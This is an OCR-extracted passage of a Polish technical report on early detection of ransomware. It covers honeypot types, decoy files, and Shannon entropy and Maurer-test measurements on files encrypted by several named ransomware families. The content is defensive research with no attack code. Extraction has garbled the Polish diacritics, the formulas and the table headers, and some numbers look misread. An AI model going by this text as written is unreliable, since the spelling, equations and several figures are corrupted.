do zadnych innych celéw niz w putapce honeypot, istnieje pewnos¢, ze kazda wiadomosc
przychodzgca na te adresy jest spamem. Wszystkie wiadomosci, ktére zawierajg takg sama

tresc jak te wysytane do honeypot, mogg by¢ automatycznie blokowane, a zrédtowe adresy IP
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nadawcow mogg byé dodawane do listy adresow blokowanych. Baze danych putapek

honeypot mozna utworzy¢ na przyktad w celu:

e Monitorowania podatnosci w oprogramowaniu.

e Wykrywania atakéw wykorzystujgcych niezabezpieczong infrastrukture systemu.

e Wykrywania atakow typu SQL injection®.

e Nasladowania aplikacji oraz interfejsow APl w celu monitorowania ich uzycia
i wykrywania  ztosliwego  oprogramowania.  Charakterystyka  ztosliwego
oprogramowania moze by¢ nastepnie przeanalizowana w celu opracowania
oprogramowania antywirusowego lub usuniecia luk w API.

e Wykrywania botéw indeksujgcych (tzw. pajaki) - istnienie cata grupa tak zwanych
putapek honeypot typu pajeczyna. Ich celem jest zastawienie putapek na roboty
indeksujace ("pajaki") poprzez tworzenie stron internetowych i linkéw dostepnych
tylko dla nich. Wykrycie robotéw indeksujgcych moze poméc w nauce blokowania

ztosliwych botdw, a takze pajakdw indeksujgcych na potrzeby reklamowe.

Z sieciowego punktu widzenia putapki honeypot mozna wykorzysta¢ do monitorowania

ruchu, w tym np. do:

e Analizy skad pochodzg cyberprzestepcy.
e Analizy jaki jest poziom zaawansowania cyberprzestepcéw.
e Analizy jaki sposob dziatania stosujg cyberprzestepcy.

e Analizy jakie dane lub aplikacje s3g dla cyberprzestepcédw interesujgce.

Alternatywna definicja putapki honeypot wprowadza dodatkowe okreslenia takie jak np.
stopien interakcji putapki. Putapki honeypot o niskim stopniu interakcji wykorzystujg mniej
zasobow i zbierajg podstawowe informacje o poziomie i rodzaju zagrozenia oraz o tym, skad
ono pochodzi. Sg tatwe iszybkie do skonfigurowania. Zazwyczaj wystarczy kilka
podstawowych symulowanych protokotéw TCP/IP>® oraz ustug sieciowych. W putapkach
honeypot o niskim poziomie interakcji nie ma jednak niczego, co mogtoby na dtuzej
zaangazowac atakujacego. W zwigzku z tym przewaznie nie mozna uzyskaé szczegétowych

informacji ojego zwyczajach czy doktadnym sposobie dziatania. Z drugiej strony, putapki

8 SQL injection, Wikipedia, https://en.wikipedia.org/wiki/SQL_injection, (dostep 12.2022)
59 Internet protocol suite, Wikipedia, https://en.wikipedia.org/wiki/Internet_protocol_suite, (dostep 12.2022)
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honeypot o wysokim poziomie interakcji majg na celu sktonienie atakujgcych do spedzenia
w nich jak najwiekszej ilosci czasu, co daje wiele informacji o ich zamiarach i celach, a takze
o wykorzystywanych przez nich podatnosciach isposobie dziatania. Pufapki w wysokim
poziomie interakcji zawierajg czesto ciekawe z punktu widzenia atakujgcego elementy — np.
bazy danych czy tez serwery aplikacyjne. Elementy te mogg angazowad atakujgcego na dtuzej
idzieki temu umozliwiajg badaczom $ledzenie, gdzie w systemie znajdujg sie stabe
zabezpieczenia, jakie informacje interesujg atakujacych, jakich narzedzi uzywaja, z jakich luk
bezpieczenstwa korzystajg, itp. Putapki honeypot o duzym poziomie interakcji wymagaja
jednak wykorzystania duzo wiekszych zasobow niz w przypadku putapek o niskim poziomie
interakcji. Ich tworzenie oraz monitorowanie jest trudniejsze i bardziej czasochtonne. Moga
rowniez stwarzaé¢ dodatkowe zagrozenie — zle monitorowane mogg sta¢ sie narzedziem

w dalszym dziataniu cyberprzestepcéw — np. mogg stac sie elementem tzw. sieci typu botnet.

Pufapka honeypot ma kilka zalet w poréwnaniu z prébg wykrycia wtamania w prawdziwym
systemie. Na przyktad, z zatozenia do honeypot nie powinny dociera¢ zadne produkcyjne dane
ani ruch sieciowy, wiec kazda zarejestrowana aktywnos¢ jest prawdopodobnie prébg
wtamania. Putapki honeypot przewaznie stanowig osobny, dedykowany zaséb komputerowy.
Dzieki temu o wiele tatwiej jest dostrzec wzorce i schematy atakdw. Zapewniajg tez niski
wskaznik fatszywych alarméw o atakach (tzw. false positive). Stanowi to wyrazny kontrast
w stosunku do tradycyjnych systeméw wykrywania wtaman (IDS)®°, ktére mogg generowaé
wysoki poziom fatszywych alarméw. W ten sposdb putapki honeypot mogg pomodc
w doskonaleniu iulepszaniu innych systemow bezpieczenstwa cybernetycznego. Putfapki
honeypot dostarczajg rowniez wiarygodnych informacji natemat ewolucji zagrozen.
Dostarczajg one informacji o wektorach atakéw, podatnosciach i ztosliwym oprogramowaniu,
aw przypadku putapek pocztowych - ospamerach iatakach phishingowych. Hakerzy
nieustannie doskonalg swoje techniki wtaman, a putapki honeypot pomagajg wykrywaé nowo
pojawiajace sie zagrozenia i wtamania. Putapki honeypot sg réwniez doskonatym narzedziem
szkoleniowym dla pracownikéw technicznych zajmujacych sie bezpieczernstwem. Putapki
honeypot to kontrolowane i bezpieczne Srodowiska, w ktorych mozna pokazaé, jak dziataja

napastnicy izbadaé¢ rdéine rodzaje zagrozen. Putapki honeypot pozwalajg rowniez

60 Intrusion detection system, Wikipedia, https://en.wikipedia.org/wiki/Intrusion_detection_system, (dostep
12.2022)
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wychwytywac zagrozenia wewnetrzne. Wiekszos¢ organizacji poswieca zasoby (czas, koszty)
na zapewnienie, Zze osoby postronne iintruzi nie uzyskaja dostepu do wewnetrznego

ekosystemu.

Nalezy jednak pamietac, ze putapki honeypot pomagaja np. wyrywac trwajgce ataki
na dany ekosystem wtedy, gdy atak dotyczy zasobu putapki. Brak atakéw na putapke
honeypot nie oznacza, ze ekosystem nie jest w danym momencie atakowany. Dobrze
przemyslany oraz prawidiowo przygotowany honeypot bedzie zwodzit napastnikéw,
ze uzyskali dostep do prawdziwego systemu. Bedzie on miat takie same komunikaty
ostrzegawcze o logowaniu, takie same pola danych, a nawet taki sam wyglad i logotypy jak
prawdziwe systemy. Jezeli jednak atakujgcemu uda sie zidentyfikowaé go jako putapke
honeypot, moze on przystapi¢ do ataku nainne elementy ekosystemu informatycznego. Po
zidentyfikowaniu putapki honeypot atakujgcy moze tworzy¢ fatszywe ataki, aby odwrécic
uwage od prawdziwego ataku skierowanego przeciwko systemom produkcyjnym. Co gorsza,
inteligentny napastnik moze wykorzystaé putapke honeypot jako sposdb ataku docelowych
systemow. Dlatego wtasnie honeypot nigdy nie zastgpig odpowiednich zabezpieczen, takich

jak zapory sieciowe i inne systemy wykrywania wtaman.

Ogolnie rzecz biorac, korzysci ptynace z uzywania putapek typu honeypot znacznie
przewyzszaja ryzyko z nimi zwigzane. Analizujac opisane powyzej klasyczne idee oraz sposoby
dziatania putapek typu honeypot nalezy uzna¢, ze mogg one stanowic jeden z elementéw

mechanizmu do wczesnego wykrywania aktywnosci oprogramowania typu ransomware.

V.1.1 Honeypot ogdlnego przeznaczenia

Honeypoty ogdlnego przeznaczenia (ang. General-Purpose Honeypot) to rodzaj
honeypot’éw, ktére sg stworzone do symulowania ogdlnych srodowisk i ustug, aby przyciggaé
rézne rodzaje atakujgcych ipréb atakdw. Sg one bardziej uniwersalne niz inne rodzaje
honeypot'éw, ktore mogg byc¢ skonfigurowane wcelu udawania konkretnej ustugi
lub komponentu systemu. Honeypoty ogdlnego przeznaczenia sg czesto uzywane do zbierania

danych na temat réznorodnych zagrozen i atakdw w sieci.
Podstawowe cechy i zastosowania honeypot’dw ogdlnego przeznaczenia sg nastepujace:

e Wielozadaniowos¢ - honeypot'y ogdlnego przeznaczenia sg zdolne do symulowanie

wielu réznych ustug i protokotdéw, co pozwala na przycigganie réznych typow atakéw.
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e Reprezentatywnosc - symulujg one typowe elementy infrastruktury sieciowej, takie jak
serwery FTP®1, HTTP®2, DNS®3, SSH®, itp., co przyciaga atakujgcych, ktdrzy poszukuja
stabych punktéw w sieci.

e Doktadnos¢ ielastycznos¢ - mogg byé dostosowywane do rdézinych potrzeb
i scenariuszy. Dodatkowo, umozliwiajg tatwe zbieranie danych dotyczgcych préb
atakow.

e Raportowaniei analiza - honeypot’y ogdlnego przeznaczenia stuzg do zbierania danych
na temat préb atakéw, co pozwala na analize iraportowanie o rodzajach atakéw,
narzedziach uzywanych przez atakujgcych oraz zrédtach tych atakéw.

e Ochrona zasobdw - Honeypoty ogdlnego przeznaczenia przewaznie sg one izolowane

od produkcyjnych zasobdw firmy.

Warto zauwazy¢, ze konfiguracja izarzadzanie honeypot'ami ogdlnego przeznaczenia
wymaga pewnej wiedzy natemat sieci komputerowych ibezpieczeistwa, poniewaz
niepoprawna konfiguracja moze spowodowac potencjalne ryzyko dla infrastruktury.
Honeypoty ogdlnego przeznaczenia s3 uzywane jako narzedzia do analizy zagrozen,
identyfikowania nowych atakow i doskonalenia strategii bezpieczeristwa w organizacjach oraz

w celach badawczych w dziedzinie bezpieczenstwa informatycznego.

V.1.2 Honeypot interaktywny

Honeypot interaktywny (ang. Interactive Honeypot) to rodzaj honeypot’u, ktéry jest zdolny
do interakcji z potencjalnymi atakujgcymi. Jest to bardziej zaawansowana forma honeypot’u
w poréwnaniu do honeypot’déw ogdlnego przeznaczenia, poniewaz umozliwia reagowanie
na ataki. Przyktadowa reakcja moga by¢ préby zdobycia dodatkowych informacji na temat

zachowan atakujgcych oraz uzywanych przez nich technik i narzedzi.
Gtéwnymi cechami i zastosowaniami honeypot’ow interaktywnych sa:

e Symulacja ustug i zachowan - honeypot interaktywny moze nasladowaé konkretne

ustugi i zachowania, co czyni go bardziej wiarygodnym celem dla atakujacych.

8 FTP, Wikipedia, https://en.wikipedia.org/wiki/File Transfer Protocol
82 HTTP, Wikipedia, https://en.wikipedia.org/wiki/HTTP

3 DNS, Wikipedia, https://en.wikipedia.org/wiki/Domain_Name_System
4 SSH, Wikipedia, https://en.wikipedia.org/wiki/Secure_Shell
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e Interakcja zatakujgcym - honeypot interaktywny moze aktywnie odpowiadad
na dziatania atakujacych, np. odpowiada¢ na komunikaty, udawac proces autoryzacji
lub symulowa¢ podatnosé na konkretne ataki.

e Pozyskiwanie informacji - honeypot interaktywny moze zbiera¢ dokfadniejsze
informacje natemat atakdw, witgczajac w to techniki uzywane przez atakujgcych,
proby wykorzystania luk w zabezpieczeniach, atakze dane dotyczace konkretnych
narzedzi atakujacych.

e Detekcja zaawansowanych atakéw - ze wzgledu na zdolno$¢ do interakcji, honeypot’y
interaktywne moga pomdéc w wykrywaniu zaawansowanych atakéw, ktore sg w stanie
obejs¢ tradycyjne systemy zabezpieczen.

e Szkolenie irozwijanie strategii obronnych - Honeypoty interaktywne pozwalajg
organizacjom lepiej zrozumie¢ ataki iwykorzystywane techniki, co pomaga
w doskonaleniu strategii obronnych.

e Analiza zachowan - zdobyte dane przez honeypot’y interaktywne czesto stuzg do
analizy zachowan atakujgcych oraz do opracowania profilow itaktyk stosowanych

przez rézne grupy przestepcze.

Warto zaznaczyé, ze honeypot’y interaktywne sg bardziej zaawansowanym narzedziem
w dziedzinie  bezpieczeistwa informatycznego iwymagaja odpowiedniej wiedzy
i doswiadczenia w ich konfiguracji i zarzadzaniu. Ponadto, ze wzgledu naich zdolno$¢ do
interakcji z atakujgcymi, istnieje ryzyko, ze atakujacy moga sprobowac wykorzysta¢ honeypot

interaktywny w celu przeprowadzenia ataku na prawdziwe systemy.

V.1.3 Honeypot naruszen

Honeypot naruszen (ang. Intrusion Honeypot) to rodzaj honeypot’u, ktéry jest specjalnie
zaprojektowany do wykrywania prob naruszenia bezpieczenstwa w systemach
komputerowych lub sieciach. Jest to narzedzie stosowane w dziedzinie bezpieczeristwa
informatycznego, ktére ma na celu przycigganie i monitorowanie potencjalnych atakéw,
aby dostarczy¢ informacji na temat préb naruszenia bezpieczenstwa oraz nieautoryzowanych
dziatan uzytkownikéw. Honeypoty naruszen sg czesto uzywane w celu ochrony istniejgcych

zasobow sieciowych i do zbierania danych na temat réznych zagrozen.

Podstawowe cechy i zastosowania honeypot’dw naruszen to:
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Symulacja stabych punktéw - honeypot naruszen jest konfigurowany w taki sposdb,
aby wydawac sie atrakcyjnym celem dla potencjalnych atakujacych, na przykfad
poprzez symulowanie stabych punktow w zabezpieczeniach.

Rejestracja préb naruszen - honeypot naruszen zbiera dane dotyczace préb atakéw,
takie jak adresy IP atakujgcych, rodzaje atakdw, narzedzia uzywane przez atakujgcych
itp.

Ostrzezenia i powiadomienia - honeypot naruszen moze generowac ostrzezenia
lub powiadomienia w czasie rzeczywistym, informujac administratorow o prébach
naruszen.

Raportowanie i analiza - pozyskane dane moga by¢ analizowane w celu zrozumienia
obecnych zagrozen i dostarczenia informacji o atakach.

Doskonalenie strategii obronnych - informacje zebrane z honeypot’éw naruszei moga
pomadc organizacjom w doskonaleniu strategii obronnych i zabezpieczen.

Zbieranie dowodéw - dane zebrane przez honeypot’y naruszen moga postuzy¢ jako

dowody w przypadku dochodzen dotyczacych naruszen bezpieczenstwa.

V.1.4 Inne typy

Oprdécz wczesniej opisanych honeypot’dw ogdlnego przeznaczenia, interaktywnych

i naruszen, istnieje wiele innych rodzajow honeypot’éw, z ktdrych kazdy ma swoje specyficzne

zastosowanie i cechy. Oto kilka innych typéw honeypot’éw:
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Honeypot wyspecjalizowany (ang. Specialized Honeypot) - te honeypot'y s3
projektowane do monitorowania konkretnych ustug lub protokotéw. Na przyktad,
moga udawac serwery FTP, DNS lub HTTP, aby przycigga¢ ataki zwigzane ztymi
ustugami.

Honeypot ukierunkowany na aplikacje (ang. Application Honeypot) - te honeypot’y sg
uzywane do ochrony aplikacji internetowych poprzez symulacje ich dziatania.
Atakujacy probujg wykorzystac¢ potencjalne luki w aplikacjach, a honeypot gromadzi
informacje na ten temat.

Honeypot wirtualny (ang. Virtual Honeypot) - jest to honeypot dziatajgcy w wirtualnym
srodowisku, co pozwala natworzenie wielu instancji honeypot’dw najednym

fizycznym serwerze.



e Honeynet - tokoncepcja, ktora obejmuje wiele honeypot’dw iinnych narzedzi
bezpieczenstwa, tworzac sie¢ komputerowa, ktéra symuluje rzeczywiste srodowisko
sieciowe. Honeynet moze by¢ uzywany do bardziej kompleksowej analizy atakow
i zachowan.

e Honeypot rozproszony (ang. Distributed Honeypot) - jest to zestaw honeypot’éw
rozmieszczonych w réoznych lokalizacjach lub segmentach sieciowych, co pomaga
w monitorowaniu i analizie atakow w szerokim kontekscie.

e Honeypot dla urzadzen 10T® (ang. loT Honeypot) - te honeypot’y s3 zaprojektowane
do przyciggania atakdw na urzadzenia Internetu Rzeczy, takie jak kamery IP, routery
itp.

e Honeypot wchmurze (ang. Cloud Honeypot) - jest to honeypot uruchomiony
w Srodowisku chmury obliczeniowej, ktéry jest celem atakow skierowanych na ustugi
chmurowe.

e Honeypot badawczy (ang. Research Honeypot) - te honeypot’'y s3 wykorzystywane
w celach badawczych, abyzdoby¢ gtebsza wiedze natemat zagrozen itechnik

atakujacych.

Honeypoty rézinig sie poziomem interakcji, celami izastosowaniami, co pozwala
na dostosowanie ich do okreslonych potrzeb organizacji lub projektow badawczych

z dziedziny bezpieczenstwa informatycznego.

V.2 Honeypot, decoy files i ransomware

Analizujac opisane powyzej, rozumiane w klasycznym igtéwnie sieciowym kontekscie,
mechanizmy putapek honeypot, mozna dojs¢ do wniosku, ze mechanizm tego typu mozna
bedzie rdéwniez zastosowac¢ celem wykrywania trwajgcego ataku oprogramowania
ransomware w pojedynczym systemie komputerowym. W odrdznieniu od klasycznego
podejscia, ten mechanizm putapek honeypot bedzie musiat dziata¢ na rzeczywistym,

produkcyjnym zasobie.

Decoy file to specjalnie spreparowany plik lub zestaw plikdw, ktére sg umieszczone

w systemie komputerowym celem zwabienia potencjalnych atakujacych, a takze identyfikacji

8 JoT, Wikipedia, https://en.wikipedia.org/wiki/Internet_of _things, (dostep 12.2022)
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prob naruszenia bezpieczenstwa. Pliki typu decoy files mogg przybiera¢ rézne formy, takie jak

np.:

Fatszywe dokumenty lub pliki danych - moga to by¢ pozornie wazne dokumenty, pliki
konfiguracyjne, bazy danych, itp.

Fatszywe hasta idane logowania - pliki decoy files zawierajace fatszywe dane
logowania, takie jak nazwy uzytkownikéw i hasta.

Fatszywe pliki wykonywalne - fatszywe aplikacje lub skrypty, ktore wydajg sie by¢
uzywane do réznych zadan.

Fatszywe klucze szyfrowe - pliki decoy files zawierajace fatszywe klucze
kryptograficzne.

Fatszywe dane kart kredytowych lub dane finansowe - w przypadku honeypot’dw
ukierunkowanych na ataki zwigzane z danymi finansowymi, mozna umiesci¢ fatszywe

dane karty kredytowej lub inne dane finansowe, aby przyciggna¢ uwage atakujgcych.

Decoy files same w sobie nie majg wtasnosci detekcyjnych, ajedynie stanowig istotny

element mechanizmdéw honeypot lub innych systemow bezpieczenstwa. Pliki te pomagajg

w monitorowaniu préb atakéw oraz zbieraniu danych natemat naruszen bezpieczenistwa.

W wielu przypadkach stosowanie plikdw typu decoy files pomaga chroni¢ prawdziwe zasoby

i dane przed nieautoryzowanym dostepem.

Wykorzystanie plikdw decoy files w potgczeniu z honeypot’ami moze stanowi¢ skuteczny

mechanizm wykrywania trwajgcych atakdw ransomware. Mechanizm taki powinien m.in.:
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Tworzy¢ pliki decoy files - specjalne pliki putapkowe powinny by¢ tworzone tak,
aby wydawaty sie atrakcyjnymi celami dla oprogramowania ransomware. Mogg to by¢
na przyktad pliki dokumentéw, pliki multimedialne, pliki baz danych, kopie zapasowe,
czy tez inne pliki popularnych rodzajéw.

Monitorowaé utworzone pliki decoy files - mechanizm honeypot powinien w czasie
rzeczywistym monitorowac utworzone pliki decoy files i rejestrowac wszelkie préby
dostepu do nich lub modyfikacji ich danych. Jesli ransomware sprébuje zaszyfrowad
lub usung¢ monitorowany plik decoy files, honeypot powinien wykry¢ te dziatania

i oznaczy¢ jako nieautoryzowane.



e Powiadomienie ireakcja - w momencie wykrycia préb dostepu lub modyfikacji
utworzonych plikdw decoy files, mechanizm honeypot powinien generowac

ostrzezenia lub powiadomienia o trwajgcym ataku ransomware.

Honeypoty z decoy files moze stawi¢ cenny element sktadowy wiekszego systemu do

wykrywania trwajacych atakéw ransomware.
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VI Badanie losowosci danych

VI.1 Entropia Shannon'a

Entropia Shannon’a®, nazywana takze entropig informacyjng, jest miarg nieokreslonosci
lub niepewnosci w teorii informacji i teorii prawdopodobienstwa. Wprowadzit ja amerykanski
matematyk Claude Shannon w 1948 roku ijest uzywana do okreslenia stopnia chaosu
w zbiorze danych. Entropia Shannon’a pomaga zrozumie¢, jakie informacje mozna uzyskac
z danego zbioru danych, a takze, w kontekscie teorii informacji, okresla minimalng dtugosc

niezbedna do zakodowania lub przekazania tych informacji.

Dla dyskretnej zmiennej losowej X, jej kazdej mozliwej wartosci x (stanu) oraz funkcji p(x)
okreslajacej prawdopodobienstwo wystgpienia wartosci x, entropia Shannon’a jest obliczana

jako:
HOO = = ) p) * logy(p(x)

Entropia Shannon’a mierzy, jakie informacje przekazuje dana zmienna losowa. Im wieksza
entropia, tym wieksza nieokreslonos¢ lub niepewnos¢. Jesli entropia wynosi 0, oznacza to brak
nieokreslonosci, co sugeruje, ze wszystkie wyniki sg pewne i znane. W przypadku mechanizmu
wykrywania trwajgcego ataku ransomware, entropie Shannon’a mozna wykorzysta¢ do
weryfikacji zmiany poziomu losowosci pomiedzy danymi odczytywanymi oraz zapisywanymi.
W tym przypadku ziemng losowa X powigzemy z wartosciami, jakie przyjmujg pojedyncze
bajty analizowanych danych. Mamy zatem 256 réznych standéw. W takim przypadku obliczona
wartos$¢ entropii Shannon’a bedzie pomiedzy 0 oraz 8. Dla danych losowych zwrdcona wartosc
bedzie réwna (prawie rowna) 8. Im zwrdcona wartosé bedzie mniejsza, tym analizowane dane
bedg sie charakteryzowaty mniejszym poziomem losowosci. Dla danych zaszyfrowanych np.
z wykorzystaniem algorytmu AES-256, zwracany poziom entropii bedzie réwny (prawie

réwny) 8.

Badania entropii Shannon’a przeprowadzone zostaty z wykorzystaniem nastepujacych

wersji oprogramowania ransomware:

6 C. E. Shannon, "A Mathematical Theory of Communication", Bell System Technical Journal. 27 (3): 379423,
1948, doi:10.1002/j.1538-7305.1948.tb01338.x
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e Maoloa®’

e UnlockYourFiles®®
e BlackKingdom®®
e Ryuk’®

e DarkSide’?

e WannaCry’?

e REvil’

e JigsawLocker’*

Dodatkowo, przeanalizowano wartosci entropii Shannon’a dla wybranych typow plikdw.

Wyniki tej weryfikacji przedstawia ponizsza tabela.

Rodzaj pliku Typ pliku Entropia Shannon’a
mp3 7.91 —7.98
. ogg 7.83 -7.99
Audio wayv 7.53-7.85
opus 8.00
avi 3.72-791
mp4 6.75 — 8.00
. mov 3.48 -7.08
Wideo webm 7.99 - 8.00
wmv 4.81 —6.51
flv 7.64 —7.92
gif 7.98 —7.99
ipg 7.94 —7.97
jpeg 7.94-7.97
png 7.96 — 8.00
Obrazy bmp 7.86 —7.87
tiff 6.32 -7.87
svg 3.79-4.11
webp 8.00
dds 7.53-17.71
odp 7.90 —7.97
Dokumenty ods 7.93 -7.98
odt 7.58 —7.97

7 Maoloa, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.maoloa, (dostep 06.2022)

8 ExoBuilder ransomware, https://www.2-spyware.com/remove-exobuilder-ransomware.html, (dostep 06.2022)
% BlackKingdom, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.blackkingdom_ransomware,
(dostep 06.2022)

0 Ryuk, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk, (dostep 06.2022)

"I DarkSide, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside, (dostep 06.2022)

2 WannaCryptor, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor, (dostep 06.2022)
3 REvil, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.revil, (dostep 06.2022)

7 JigswaLocker, Microsoft Security Intelligence, https://www.microsoft.com/en-us/wdsi/threats/malware-
encyclopedia-description?Name=Ransom:MSIL/JigsawLocker.A, (dostep 06.2022)
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xls 3.06 —5.55
xlsx 7.17-17.84
doc 3.84-791
docx 7.68 —8.00
rtf 4.19 —-4.81
txt 428 —4.31
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VI.1.1 Wyniki testow

Ponizsza tabela prezentuje obliczcone wartosci entropii Shannon’a dla plikdw testowych przed oraz po atakach wybranych wers;ji

oprogramowania ransomware.

o
S e 2

> a (© o—

T =3 E | & :
= 0 N @ > = o Q =
o = > o © I ] - X L c = ©
o 2T s o © r & =4 ] © > o
ey = =2 2 ¢ S S = & a = o =

BMP 7 372938 7,8560 7,9370 4,5036 X 7,9990 7,9410 7,9990 7,8560 7,9990
MP3 3912350 7,9520 7,9860 4,5020 X 7,9990 7,9740 7,9990 7,9520 7,9990
DOCX 120 515 7,9350 7,9780 4,5020 7,9980 7,9980 X 7,9980 7,9350 7,9980
PDF 581 407 7,9730 7,9920 4,5030 7,9990 7,9990 7,9990 7,9990 7,9730 7,9990
JPG 1299 567 7,9930 7,9980 4,5030 7,9990 7,9990 7,9990 7,9990 7,9930 7,9990
TXT 42 885 4,3080 6,9180 4,4870 7,9950 7,9950 7,9960 7,9950 4,3080 7,9950
XLSX 32924 7,4170 7,8020 4,4970 7,9930 7,9940 7,9940 7,9940 7,4170 7,9950
ZIP 11 688 947 7,9990 7,9990 4,4990 7,9990 7,9990 7,9990 7,9990 7,9990 X
DOC 32768 3,8380 6,4470 4,4970 7,9940 7,9940 X 7,9940 3,8380 7,9940
XLS 46 080 5,1150 6,9430 4,4880 7,9960 7,9960 7,9960 7,9960 5,1150 7,9950
SVG 7 905 340 3,4990 5,1810 4,5010 X 7,9990 4,5540 7,9990 3,4990 7,9990
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VI.2 Test Maurera

Ueli Maurer w roku 1992 zaprezentowat koncepcje uniwersalnego testu statystycznego
generatoréw losowych ciggéw bitow’>. Test Maurera analizuje liczby bitéw pomiedzy
wzorcami. Celem testu jest wykrycie czy testowana sekwencja bitéw moze zostaé w znacznym
stopniu skompresowana bez utraty informacji. Jezeli jest to mozliwe, to testowana sekwencja
uznawana jest za nie losowg. Ueli Maurer opisat ten test jako "poprawny sposdéb pomiaru
jakosci kluczy uzywanych w algorytmach kryptograficznych". Test ten nie szuka specyficznych

wzorcow ani nie weryfikuje stabosci statystycznych badanej sekwencji

Sam przebieg testu jest bardzo prosty. Badana sekwencja danych o dtugosci n-bajtow
dzielona jest na dwie czesci:
e (Czescinicjalizujgca sktadajaca sie z Q L-bitowych blokdéw danych.
e (Czesc testowaq sktadajgcy sie z K L-bitowych blokéw.

Czesc inicjalizujacy jest wykorzystywana do inicjalizacji testu. Czes¢ testowa jest uzywana

w czesci testujgcej algorytmu.

Initialization Segment Test Segment
«—— XL bits »< KL bits »&Discard »
| Z-bits | L-bits | ... | L-bits | L-bits | L-bits | L-bits | ... | L-bits | L-bits |
« 7 bits »
<«— (@ Blocks > K Blocks »

Rysunek 23. Test Maurera - podzial danych na segmenty
(zrédto: NIST)

Na potrzeby mechanizmu detekcji aktywnego ataku ransomware, analizie podlega¢ beda
dane odczytywane oraz zapisywane na dysku - pliki. Kazdy badany plik o wielkosci n bajtow
dzielony bedzie na cigg blokéw o dtugosci L bitow. Q pierwszych blokéw pliku postuzy do
zainicjalizowania wykorzystywanego w tescie wektora T o dfugosci 2L, zawierajacego ostatnie
zanotowane potozenie kazdej z mozliwych 2L wartosci blokéw dtugosci L. Kolejne K blokéw

danych stanowi¢ bedzie wtasciwg sekwencje testowa. Dla usprawnienia dziatania programu

w implementacji wykorzystany zostanie parametr d = g, wyrazajacy dtugos¢ pojedynczego

5 U. Maurer, “A Universal Statistical Test for Random Bit Generators,” Journal of Cryptology. Vol. 5, No. 2,
1992, pp. 89-105.
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bloku w bajtach. Ponadto, w implementacji zakfada sie, ieKzng—Q, co pozwala

na wykorzystanie catego pliku w ramach testu. Przy takich zatozeniach, plik jest podzielony
na cigg blokéw BZQFK = by, by, ..., by dla d = 1. Obliczana statystyka testowa jest
wyrazona jako:

Q+K

1
Sobs = E Z logz(i - Tbi)

i=Q+1

Badania testu Maurera przeprowadzone zostaty z wykorzystaniem nastepujgcych wersji

oprogramowania ransomware:

e Maoloa
e UnlockYourFiles

e BlackKingdom

e Ryuk

e DarkSide
e WannaCry
e REvil

e Jigsawlocker
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VI.2.1 Wyniki testow

Ponizsza tabela prezentuje obliczone wartosci testu Maurera dla plikdw testowych przed oraz po atakach wybranych wersji oprogramowania

ransomware.
S S v
- - s)
§ | £ % g
2 s | s : T : .
a 8 8 © 3 o > 5
S N o w = c o c ) S o
= 3 w > | v X o ® ” o s © <
o =2 | €8 | €3 2 o 8 3 = < c o
o 9 ‘G T 2 c 2 = © < ® S, © © )
= s 2 =S| 20 o = S @ & a = =
BMP 7 372938 1 512 5.444154 | 5.976428 | 3.760322 X 7.183635 | 5.731281 | 7.183879 | 7.183809
MP3 3912 350 1 512 7.056496 | 7.135824 | 3.759494 X 7.184077 | 7.094863 | 7.183524 | 7.184404
DOCX 120 515 1 512 7.017541 | 7.115536 | 3.756822 | 7.186282 | 7.181459 | 7.178616 | 7.183872 | 7.177422
PDF 581 407 1 512 6.908873 | 7.092771 | 3.761165 | 7.183025 | 7.184879 | 7.182648 | 7.184190 | 7.183038
JPG 1299 567 1 512 7.142141 | 7.172288 | 3.759786 | 7.182965 | 7.184383 | 7.176124 | 7.182875 | 7.184703
TXT 42 885 1 512 3.756974 | 6.152867 | 3.741507 | 7.180339 | 7.181419 | 7.177569 | 7.189252 | 7.187609
XLSX 32924 1 512 6.215621 | 6.822988 | 3.750849 | 7.187733 | 7.183098 | 7.181646 | 7.177489 | 7.175422
ZIP 11 688 947 1 512 7.120046 | 7.132753 | 3.757218 | 7.184188 | 7.183439 | 7.126638 | 7.184207 X
DOC 32768 1 512 2.463293 | 5.296576 | 3.752295 | 7.186287 | 7.188625 | 7.182789 | 7.186597 | 7.181958
XLS 46 080 1 512 3.546317 | 5.785629 | 3.743934 | 7.180949 | 7.179007 | 7.190700 | 7.183145 | 7.183551
SVG 7 905 340 1 512 2.966529 | 4.286667 | 3.760417 X 7.183439 | 3.551670 | 7.186597 | 7.183479
BMP 7 372938 1 8192 5.444904 | 5.975973 | 3.760370 X 7.183626 | 5.729764 | 7.183908 | 7.183803
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MP3 3912350 1 8192 7.056376 | 7.135739 | 3.759472 X 7.184074 | 7.094727 | 7.183562 | 7.184400
DOCX 120515 1 8192 7.072674 | 7.142623 | 3.753173 | 7.186514 | 7.181945 | 7.177298 | 7.183682 | 7.178479
PDF 581 407 1 8192 6.910712 | 7.093594 | 3.760620 | 7.183043 | 7.184864 | 7.182950 | 7.183967 | 7.182936
JPG 1299 567 1 8192 7.142014 | 7.172234 | 3.759485 | 7.182942 | 7.184369 | 7.176118 | 7.182892 | 7.184719
TXT 42 885 1 8192 3.756194 | 6.154737 | 3.730397 | 7.184903 | 7.181685 | 7.176526 | 7.193202 | 7.187766
XLSX 32924 1 8192 6.324099 | 6.885951 | 3.738770 | 7.190142 | 7.185269 | 7.187780 | 7.174511 | 7.175944
ZIP 11 688 947 1 8192 7.120035 | 7.132736 | 3.757046 | 7.184185 | 7.183446 | 7.126610 | 7.184218 X
DOC 32768 1 8192 2.599074 | 5.365487 | 3.732631 | 7.189614 | 7.190254 | 7.185646 | 7.186152 | 7.180417
XLS 46 080 1 8192 3.762697 | 5.880609 | 3.734450 | 7.181689 | 7.178779 | 7.190152 | 7.178589 | 7.182437
SVG 7 905 340 1 8192 2.966736 | 4.285318 | 3.760337 X 7.183443 | 3.548153 | 7.186152 | 7.183457
BMP 7 372938 1 16 384 5.445334 | 5975403 | 3.759832 X 7.183622 | 5.728150 | 7.183908 | 7.183802
MP3 3912350 1 16 384 7.056481 | 7.135715 | 3.759655 X 7.184069 | 7.094559 | 7.183557 | 7.184397
DOCX 120515 1 16 384 7.067806 | 7.140240 | 3.754654 | 7.186324 | 7.181316 | 7.176978 | 7.185314 | 7.179010
